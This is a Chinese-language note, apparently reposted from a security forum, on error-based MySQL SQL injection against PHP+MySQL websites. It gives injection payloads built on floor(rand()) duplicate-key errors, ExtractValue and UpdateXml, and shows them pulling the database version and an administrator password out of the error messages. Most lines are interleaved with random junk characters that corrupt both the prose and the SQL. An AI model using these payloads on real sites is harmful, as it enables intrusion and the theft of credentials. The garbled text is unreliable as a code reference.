放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
# z3 p! _2 P7 U1 r& J4 T实际测试环境:
+ V4 R" {& I6 W5 S: ~4 W8 W% ?4 s5 q9 D1 `- T
4 x( y3 L& | ?; Gmysql> show tables;; A( k- B$ e( h; H& t# I4 x$ }
+----------------+/ @# ^" _1 g0 K5 z; l4 u8 m( X
| Tables_in_test |
, ?- M" n3 R# h+----------------+7 [" w* Z* R2 k
| admin |
+ o% p7 [5 e6 D| article |
" V6 @" ]. K# X* E1 p+----------------+1 I7 k8 w' m5 D7 B; n: _7 Z5 |& @
9 K5 M3 S0 e" _; V" C _0 z
+ b" c6 G3 ?" Q% `/ V
- O) h; U* r/ v8 Xmysql> describe admin;9 `. X4 D- s: H# n5 n6 k3 _* x
+-------+------------------+------+-----+---------+----------------+
: i, T1 i0 a6 O2 P$ i! \, t| Field | Type | Null | Key | Default | Extra |9 M7 B/ F, d+ Z2 M& r/ F
+-------+------------------+------+-----+---------+----------------+/ U# F3 e; B3 J2 U
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |! ~% L% d3 f0 ^
| user | varchar(50) | NO | | NULL | |; U% {. s9 ^9 M: C. K4 m+ M4 ~. \
| pass | varchar(50) | NO | | NULL | |
- _$ w/ W4 y; x2 s: {+ m+-------+------------------+------+-----+---------+----------------+
0 _! b9 Z! j0 ~
y; ]! Y% R1 a
: p1 Y; j$ k* z, L+ n9 v 5 Y1 `8 M# `+ U% b2 x' l5 z
mysql> describe article;
( `6 w6 k" g, K+---------+------------------+------+-----+---------+----------------+4 C# n9 b1 K& B/ a/ B0 r' U! @
| Field | Type | Null | Key | Default | Extra |
) J1 B, U- u# \+---------+------------------+------+-----+---------+----------------+
3 l9 I1 V; ?# j% d% Z| id | int(10) unsigned | NO | PRI | NULL | auto_increment |: @% Z- X+ l: Y" t* Q2 ~
| title | varchar(50) | NO | | NULL | |4 _) r$ B, c; k1 x2 b
| content | varchar(50) | NO | | NULL | |
) k- z. l$ y- b+---------+------------------+------+-----+---------+----------------+
' q" Q0 l3 @3 |2 J0 ^7 G3 a0 G# a7 z1、通过floor报错" {$ o% \4 V! \. _7 l
可以通过如下一些利用代码, Y& T. V E& K3 [2 W3 X
+ B7 s5 q6 V) t, l6 z4 q3 U
4 X, u! E7 g- `; Y# Z7 Qand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x1 s* [+ A, n, O
from information_schema.tables group by x)a);
( x4 D' q( \( A3 r2 H4 c5 e* e
& i& N/ j/ O" L8 ]* W; w$ C
* X8 x; b) u! @and (select count(*) from (select 1 union select null union select !1)x
: Y3 Z% k7 G+ o) ugroup by concat((select table_name from information_schema.tables limit 1),
, ?! |# q3 f+ Nfloor(rand(0)*2)));
, M3 k' `/ v0 z4 ~' @举例如下:* _5 F( t" p* o* u$ e& n7 ]
首先进行正常查询:% k! q! h0 \9 v
* s6 P; P5 t- F* Bmysql> select * from article where id = 1;
* M; a+ C- W; S( G8 h* m+----+-------+---------+
' Y3 C; I7 E4 x, F& M q% {| id | title | content |
w8 o% U3 z0 v+ [9 X+----+-------+---------+7 J( u- s% p5 r: H2 y
| 1 | test | do it |5 _7 I* A9 X! t! a; X1 W
+----+-------+---------+
* P# L1 L g& C+ V. X& H* ~假如id输入存在注入的话,可以通过如下语句进行报错。
$ M) b6 }) {3 I- K5 s' R% o
* x/ y/ ^0 u: D$ K
8 U" L8 l0 C) smysql> select * from article where id = 1 and (select 1 from
) p Z+ g' b" e(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
8 p C- h) C/ ^, E5 W1 ]ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
' q/ \& `) X' V可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
; Q, I5 L3 ]4 @7 v例如我们需要查询管理员用户名和密码:0 i7 k# l" } [2 p7 E
Method1:
! c" j+ e; C- z + ]) b0 M/ h) w- n
) W* O [; l) }6 p
mysql> select * from article where id = 1 and (select 1 from* K4 L$ P0 g- P9 C# t# A5 d
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x9 t- N& o6 }+ s$ @7 b/ B( k' {- P
from information_schema.tables group by x)a);& n8 W& C* q$ x$ E2 h7 N
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'% c/ @9 r3 G$ \, T' _1 M e
Method2:
# H7 `/ ]% m6 Z# c9 S . @# c8 e, N3 a
4 m5 v8 Q5 r" `8 Wmysql> select * from article where id = 1 and (select count(*)2 o/ K( b7 N; p4 R7 X2 q( ]
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
0 y% {! w5 {* qfloor(rand(0)*2)));& S9 \; X# h9 B; b; h
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- }! C+ D ^+ X d5 T2、ExtractValue# H$ c0 ^' f; @" d, }
测试语句如下
$ M2 ?! ]+ Y3 t! y! e }( J 1 S' g3 }) o2 L9 t& y, g& O# ?
3 W' K/ A" ^: @: P* {) g1 ?
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
* z0 F( d$ P! A7 a实际测试过程/ L* S+ b! _+ z4 L* R9 ?
h x) O J2 |! s) [ ~% s
' g0 e9 q5 O$ L( j
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
4 }8 m4 X% k2 ]2 C! J(select pass from admin limit 1)));--: c4 ^! ^* Z/ j0 q H; W
ERROR 1105 (HY000): XPATH syntax error: '\admin888') Y a8 d0 N8 ?1 h
3、UpdateXml
! }- n% \4 _* u) f: O! h1 U测试语句
9 R# k! d* \) R" f: E' }
/ R4 r) p0 Q6 V V5 [& e 4 J8 {4 _/ ^" d4 z
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
5 Y' l8 A& x# z( }实际测试过程
' N y! w% Z; Q3 ^& o9 x% c ( L- y# i$ k+ K$ p7 F7 g
+ \& I3 n8 {, w/ zmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,4 v# {0 A; l- Z2 }3 I# ^* ^
(select pass from admin limit 1),0x5e24),1));. A/ v: R) i" z/ v" g$ K- D M5 n
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
& `: d1 O0 z4 }9 B4 [All, thanks foreign guys.3 G0 J1 z/ o- C+ I; X u& O
& N: n6 }/ k5 U% R8 r- Q9 N6 g: m9 n, Z L
|